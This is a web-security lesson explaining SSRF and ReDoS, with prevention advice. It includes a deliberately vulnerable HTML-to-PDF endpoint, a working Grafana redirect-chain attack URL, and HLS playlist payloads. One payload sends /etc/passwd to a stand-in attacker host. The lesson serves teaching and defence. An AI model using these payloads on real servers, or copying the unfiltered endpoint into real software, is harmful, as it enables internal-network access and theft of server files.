# Lesson 9: More Server Risks

## Introduction

Previous lessons covered major classes of web vulnerabilities like XSS, CSRF, and injection attacks. This lesson covers several critical but often overlooked server-side vulnerabilities.

## Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) occurs when attackers can cause the server to send requests to arbitrary URLs. This is particularly dangerous in cloud environments because:

1. The server might have access to other internal services, such as sensitive databases, that aren’t meant to be publicly accessible
2. Internal services typically have minimal security because they assume requests only come from trusted sources
3. Network firewalls and access controls don’t protect against requests coming from within the network

### Example Vulnerability

Consider a document conversion service that converts HTML to PDF:

// Vulnerable endpoint  
app.post('/convert', async (req, res) => {  
 const { html } = req.body;  
  
 // Use Puppeteer to launch a web browser, render the HTML,  
 // and then export as PDF  
 const browser = await puppeteer.launch();  
 const page = await browser.newPage();  
 await page.setContent(html);  
 const pdf = await page.pdf();  
  
 res.type('application/pdf').send(pdf);  
});

This service might be intended to only process simple HTML, or HTML that only includes images/styles from other parts of the website in question. (E.g. perhaps this is a document editing website, and we are implementing an “export as PDF” feature.)

However, the code above does not do any filtering of the URLs that the page might request. For example, the HTML could include an iframe that loads sensitive information from an unauthenticated internal database, or it could include JavaScript to send network requests to internal services. When Puppeteer renders this HTML, it will leak confidential information.

### SSRF is hard to spot

SSRF can be much more subtle and difficult to spot than the above example.

#### SSRF via open link redirection

Sometimes applications implement an endpoint that redirects to another URL specified in a query parameter. For example, analytics.com/track?target=mysite.com might be a tracking and analytics platform tracking clicks from marketing emails, or auth.mycompany.com/login?next=mail.mycompany.com might be implement authentication flows that redirect a user to the original page they requested before logging in.

However, if these redirect endpoints don’t limit the possible redirect destinations, then attacker may exploit these open redirects to execute SSRF.

As a concrete example, [Grafana used to be vulnerable to such an attack](https://rhynorater.github.io/CVE-2020-13379-Write-Up). Grafana had a /avatar/:hash endpoint that was used to serve the profile photo for a user. Here is how the endpoint worked:

* When the Grafana server received a request for a particular hash, it would fetch the photo from https://secure.gravatar.com/avatar/${hash}
* The Gravatar /avatar/:hash: endpoint supported a d query parameter that would allow redirection to i0.wp.com, where some of the images were hosted. This feature was not normally used by Grafana, but because Grafana did not sanitize the input hash, a request to https://mygrafanainstance.com/avatar/somehash%3Fd%3Dhello would result in Gravatar redirecting to i0.wp.com/hello.
* i0.wp.com is a Wordpress static image server. Wordpress supported embedding images from Blogspot, and the i0.wp.com/{imageDomain}/{imagePath} endpoint would redirect to https://{imageDomain}/{imagePath} *only if* imageDomain was a Blogspot domain (\*.bp.blogspot.com). However, note that checking if imageDomain ends with .bp.blogspot.com is an insufficient check, as evil.com?f=1.bp.blogspot.com satisfies that check, but is an evil.com URL rather than a Blogspot URL.

With all these factors combined, an attacker could make the following malicious request to Grafana:

https://grafanaHost/avatar/test%3fd%3dINTERNALSITE.com%25253f%253b%252fbp.blogspot.com

The Grafana server would send a request to Gravatar:

https://secure.gravatar.com/avatar/test?d=INTERNALSITE.com%253f%3b/1.bp.blogspot.com/

Gravatar would redirect to i0.wp.com:

http://i0.wp.com/INTERNALSITE.com%3f%;/1.bp.blogspot.com/

Finally, i0.wp.com would redirect to the SSRF target:

https://INTERNALSITE.com?;/1.bp.blogspot.com

This attack involved redirects through several different services run by different organizations. In isolation, each of these services seem reasonably implemented. However, the attacker could bounce redirects through the services until reaching an open redirect capable of directing to an arbitrary URL, resulting in the Grafana service sending an arbitrary request to this URL and returning the response to the attacker.

The full writeup of this vulnerability, with additional details on how it might be exploited, is available [here](https://rhynorater.github.io/CVE-2020-13379-Write-Up).

#### SSRF via video processing

Another surprising vector for SSRF is in server-side image and video processing. When a user uploads media, the server will often process and compress the video to save storage space. Most often, servers will rely on a ubiquitous open-source project called [FFmpeg](https://www.ffmpeg.org/) to process the video.

FFmpeg supports a wide variety of input formats to process. This includes most standard video formats, but FFmpeg has such a wide featureset that it also includes surprising formats such as text files and [HTTP Live Streaming (HLS) playlists](https://www.fastpix.io/blog/a-complete-guide-to-m3u8-files-in-hls-streaming). An HLS playlist does not contain any video data; rather, it is a text file describing where to find smaller video files that make up a video stream, and FFmpeg will fetch these files while streaming video playback. By uploading a malicious HLS playlist in place of a normal video, an attacker can cause FFmpeg to make internal network requests from the video processing server.

As a concrete example, [TikTok used to be vulnerable to such an attack](https://hackerone.com/reports/1062888). For example, an attacker could upload a .avi file with HLS directives embedded in it:

#EXTM3U  
#EXT-X-MEDIA-SEQUENCE:0  
#EXTINF:10.0,  
http://internal.com/anything  
#EXT-X-ENDLIST

This will cause FFmpeg to send a network request to the specified URL and attempt to render the result in the output video.

An attacker can even use FFmpeg to read a local file from the server and upload its contents to an attacker-controlled URL. This uses the [subfile protocol](https://ffmpeg.org/ffmpeg-protocols.html#subfile) to send the contents of /etc/passwd to the attacker’s server:

#EXTM3U  
#EXT-X-MEDIA-SEQUENCE:0  
#EXTINF:10.0,  
concat:http://attacker.com/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd  
#EXT-X-ENDLIST

The full writeup of this vulnerability is available [here](https://hackerone.com/reports/1062888).

### Prevention

SSRF vulnerabilities can be prevented through multiple layers of defense:

* **Validate and sanitize user input:** SSRF is usually triggered by abnormal inputs, so validating the expected format of user inputs can help to avoid it. For example, in the Grafana link redirection SSRF, we could have validated that the input hash only contained hexadecimal characters. Building destination URLs with new URL() instead of string concatenation can also help to avoid SSRF.
* **Disable redirection when fetching URLs:** Unless redirection is required for an application to function correctly, we can reduce the likelihood of SSRF via link redirection by disabling redirection. You can do this with the fetch() API by passing {redirect: 'error'}:
* const response = await fetch(url, {redirect: 'error'})
* **Isolate and sandbox services:** If a third-party tool may have unexpected functionality (e.g. ffmpeg), it is best to run it in an isolated container with no sensitive files on the local filesystem and no privileged network access to internal services.
* **Require authentication for internal services:** If an attacker needs to authenticate requests in order to perform actions in an internal network, then SSRF becomes much harder.

## Regular Expression Denial of Service (ReDoS)

Regular Expression Denial of Service (ReDoS) occurs when a regular expression can take exponential time to match certain inputs. This vulnerability is particularly severe in Node.js for several reasons:

1. Node.js processes regex matching on the main event loop, so a slow regex blocks ALL requests to the server
2. JavaScript’s regex engine uses backtracking, which can lead to exponential matching time
3. Many Node.js applications use regex for input validation, making this a common attack vector
4. The single-threaded nature of Node.js means one blocked request will stall the server for all users

### Catastrophic backtracking

ReDoS is caused by regular expressions that might match a target string in many different ways. Certain regex patterns allow for a vast number of possible ways to match the same string, so the engine will spend a huge amount of time exploring (and backtracking through) all these possibilities. This process can become exponential in runtime, and is known as *catastrophic backtracking*.

When a pattern has nested quantifiers or complex alternations (e.g., +(a+)+, (a|b)\*c, or multiple overlapping groups), the regex engine attempts one path to match a target string, fails, then backtracks to try another path, fails again, and continues this process until it (possibly) finds a match or definitively fails. For large inputs crafted by attackers, the sheer number of backtracking attempts can block the main event loop for seconds – or even minutes – because Node.js is single-threaded. This problem caused a [global outage for Cloudflare in 2019](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/), and the post-mortem writeup for that outage does an excellent job of explaining [how catastrophic backtracking happens](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/#appendix-about-regular-expression-backtracking).

### Prevention

You can set up lint rules to detect regexes that are susceptible to catastrophic backtracking, e.g. detect-unsafe-regex from [eslint-plugin-security](https://github.com/eslint-community/eslint-plugin-security).

Even better, you can run NodeJS with an [alternative regular expression engine](https://v8.dev/blog/non-backtracking-regexp) that is not susceptible to catastrophic backtracking. The --enable-experimental-regexp-engine flag allows you to write regexes with an l suffix (e.g. /hi.\*there/l), which will be executed on the new linear-time engine, and which will throw an error for unsafe regexes that cannot be executed without risking catastrophic backtracking. To help support existing codebases, the --enable-experimental-regexp-engine-on-excessive-backtracks flag will cause V8 to fall back to this engine if excessive backtracking is detected, protecting you against worst-case ReDoS.

## Summary

Server-side vulnerabilities like SSRF and ReDoS can compromise entire applications by exploiting server behavior. SSRF occurs when attackers can make the server send requests to arbitrary URLs, exposing internal services and sensitive data. These vulnerabilities often emerge subtly through features like link redirection or media processing. ReDoS vulnerabilities arise when regular expressions can take exponential time to match certain inputs, potentially bringing down Node.js servers through catastrophic backtracking.